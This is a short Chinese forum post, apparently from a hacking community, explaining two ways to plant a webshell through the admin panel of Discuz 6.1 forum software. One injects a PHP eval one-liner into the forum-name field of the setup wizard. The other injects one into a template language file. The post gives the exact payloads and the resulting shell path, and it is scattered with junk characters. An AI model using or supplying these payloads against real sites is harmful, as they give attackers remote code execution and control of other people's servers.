discuz6.1后台拿shell方法

admin

discuz6.1两种方法后台拿shell
( M: t( Q8 D' v6 j! s好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下
& q7 u3 D+ x$ c1:
http://127.0.0.1/discuz/admincp. ... zard&frames=yes
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
<?php eval($_POST[cmd]);?>
后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
+ L2 v+ F0 Y5 c/ K) l4 P, L, H$ d
) D  m4 A8 |* ], G
2:后台模板管理--默认模板套系--详情
! i2 v$ V, z# X" r8 L' n: }templates/default/actions.lang.php
jhackj\\');eval($_POST[cmd])?>;//
; k# E% h9 c/ M; W% y" y; y
利用很简单,聪明的人一看就懂了